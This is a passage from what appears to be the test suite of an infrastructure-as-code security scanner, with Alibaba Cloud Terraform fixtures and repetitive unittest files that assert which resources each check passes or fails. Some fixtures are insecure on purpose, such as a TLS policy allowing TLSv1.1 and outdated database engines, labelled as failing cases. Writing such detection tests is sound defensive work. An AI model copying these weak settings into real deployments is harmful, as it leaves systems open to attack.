"connect_timeout" value = "50" }] } resource "alicloud_db_instance" "pass2" { engine = "SQLServer" engine_version = "2019_std_ha" instance_type = "mssql.x4.medium.e1" instance_storage = "10" tde_status = "Enabled" parameters = [] } resource "alicloud_db_instance" "unknown" { engine = "MySQL" engine_version = "5.5" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Enabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "unknown3" { engine = "PostgreSQL" engine_version = "9.4" instance_type = "rds.pg.s1.small" instance_storage = "10" tde_status = "Enabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_TLSPoliciesAreSecure/main.tf ================================================ resource "alicloud_slb_tls_cipher_policy" "fail" { tls_cipher_policy_name = "itsbaditsdverybad" tls_versions = ["TLSv1.1","TLSv1.2"] ciphers = ["AES256-SHA","AES256-SHA256", "AES128-GCM-SHA256"] } resource "alicloud_slb_tls_cipher_policy" "pass" { tls_cipher_policy_name = "itsfine" tls_versions = ["TLSv1.2"] ciphers = ["AES256-SHA","AES256-SHA256", "AES128-GCM-SHA256"] } ================================================ FILE: tests/terraform/checks/resource/alicloud/test_ALBACLIsUnrestricted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.ALBACLIsUnrestricted import check class TestALBACLIsUnrestricted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_ALBACLIsUnrestricted") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_alb_acl_entry_attachment.phew', } failing_resources = { 'alicloud_alb_acl_entry_attachment.thehorror', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_APIGatewayProtocolHTTPS.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.APIGatewayProtocolHTTPS import check class TestAPIGatewayProtocolHTTPS(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_APIGatewayProtocolHTTPS") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_api_gateway_api.pass', } failing_resources = { 'alicloud_api_gateway_api.fail', 'alicloud_api_gateway_api.fail2', 'alicloud_api_gateway_api.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_ActionTrailLogAllEvents.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.ActionTrailLogAllEvents import check class TestActionTrailLogAllEvents(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_ActionTrailLogAllEvents") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_actiontrail_trail.pass', } failing_resources = { 'alicloud_actiontrail_trail.fail', 'alicloud_actiontrail_trail.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_ActionTrailLogAllRegions.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.ActionTrailLogAllRegions import check class TestActionTrailLogAllRegions(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_ActionTrailLogAllRegions") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_actiontrail_trail.pass', 'alicloud_actiontrail_trail.pass2', } failing_resources = { 'alicloud_actiontrail_trail.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_DiskEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.DiskEncryptedWithCMK import check class TestDiskEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_DiskEncryptedWithCMK") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_disk.pass', } failing_resources = { 'alicloud_disk.fail', 'alicloud_disk.fail2', 'alicloud_disk.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_DiskIsEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.DiskIsEncrypted import check class TestDiskIsEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_DiskIsEncrypted") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_disk.pass', } failing_resources = { 'alicloud_disk.fail', 'alicloud_disk.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_K8sEnableNetworkPolicies.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.K8sEnableNetworkPolicies import check class TestK8sEnableNetworkPolicies(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_K8sEnableNetworkPolicies") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_cs_kubernetes.pass', 'alicloud_cs_kubernetes.pass2', } failing_resources = { 'alicloud_cs_kubernetes.fail', 'alicloud_cs_kubernetes.fail2', 'alicloud_cs_kubernetes.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_K8sNodePoolAutoRepair.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.K8sNodePoolAutoRepair import check class TestK8sNodePoolAutoRepair(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_K8sNodePoolAutoRepair") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_cs_kubernetes_node_pool.pass', } failing_resources = { 'alicloud_cs_kubernetes_node_pool.fail', 'alicloud_cs_kubernetes_node_pool.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_KMSKeyIsEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.KMSKeyIsEnabled import check class TestKMSKeyIsEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_KMSKeyIsEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_kms_key.pass', 'alicloud_kms_key.pass2', } failing_resources = { 'alicloud_kms_key.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_KMSKeyRotationIsEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.KMSKeyRotationIsEnabled import check class TestKMSKeyRotationIsEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_KMSKeyRotationIsEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_kms_key.pass', } failing_resources = { 'alicloud_kms_key.fail', 'alicloud_kms_key.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_LaunchTemplateDiskAreEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.LaunchTemplateDisksAreEncrypted import check class TestLaunchTemplateDisksAreEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LaunchTemplateDisksAreEncrypted") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ecs_launch_template.pass', } failing_resources = { 'alicloud_ecs_launch_template.fail', 'alicloud_ecs_launch_template.fail2', 'alicloud_ecs_launch_template.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_LogAuditRDSEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.LogAuditRDSEnabled import check class TestLogAuditRDSEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LogAuditRDSEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_log_audit.pass', } failing_resources = { 'alicloud_log_audit.fail', 'alicloud_log_audit.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_MongoDBInsideVPC.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.MongoDBInsideVPC import check class TestMongoDBInsideVPC(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MongoDBInsideVPC") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_mongodb_instance.pass', } failing_resources = { 'alicloud_mongodb_instance.fail', 'alicloud_mongodb_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_MongoDBInstanceSSL.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.MongoDBInstanceSSL import check class TestMongoDBInstanceSSL(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MongoDBInstanceSSL") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_mongodb_instance.pass', 'alicloud_mongodb_instance.pass2', } failing_resources = { 'alicloud_mongodb_instance.fail', 'alicloud_mongodb_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_MongoDBIsPublic.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.MongoDBIsPublic import check class TestMongoDBIsPublic(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MongoDBIsPublic") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_mongodb_instance.pass', 'alicloud_mongodb_instance.pass2', } failing_resources = { 'alicloud_mongodb_instance.fail', 'alicloud_mongodb_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_MongoDBTransparentDataEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.MongoDBTransparentDataEncryptionEnabled import check class TestMongoDBTransparentDataEncryptionEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MongoDBTransparentDataEncryptionEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_mongodb_instance.pass', } failing_resources = { 'alicloud_mongodb_instance.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_OSSBucketAccessLogs.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.OSSBucketAccessLogs import check class TestOSSBucketAccessLogs(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_OSSBucketAccessLogs") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_oss_bucket.pass', } failing_resources = { 'alicloud_oss_bucket.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_OSSBucketEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.OSSBucketEncryptedWithCMK import check class TestOSSBucketEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_OSSBucketEncryptedWithCMK") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_oss_bucket.pass', } failing_resources = { 'alicloud_oss_bucket.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_OSSBucketTransferAcceleration.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.OSSBucketTransferAcceleration import check class TestOSSBucketTransferAcceleration(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_OSSBucketTransferAcceleration") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_oss_bucket.pass', } failing_resources = { 'alicloud_oss_bucket.fail', 'alicloud_oss_bucket.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_OSSBucketVersioning.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.OSSBucketVersioning import check class TestOSSBucketVersioning(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_OSSBucketVersioning") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_oss_bucket.pass', } failing_resources = { 'alicloud_oss_bucket.fail', 'alicloud_oss_bucket.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyExpiration.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyExpiration import check class TestPasswordPolicyExpiration(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyExpiration") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyLength.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyLength import check class TestPasswordPolicyLength(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyLength") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyLowercaseLetter.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyLowercaseLetter import check class TestPasswordPolicyLowercaseLetter(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyLowercaseLetter") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyMaxLogin.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyMaxLogin import check class TestPasswordPolicyMaxLogin(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyMaxLogin") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', 'alicloud_ram_account_password_policy.pass2', } failing_resources = { 'alicloud_ram_account_password_policy.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyNumber.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyNumber import check class TestPasswordPolicyNumber(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyNumber") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyReuse.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyReuse import check class TestPasswordPolicyReuse(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, 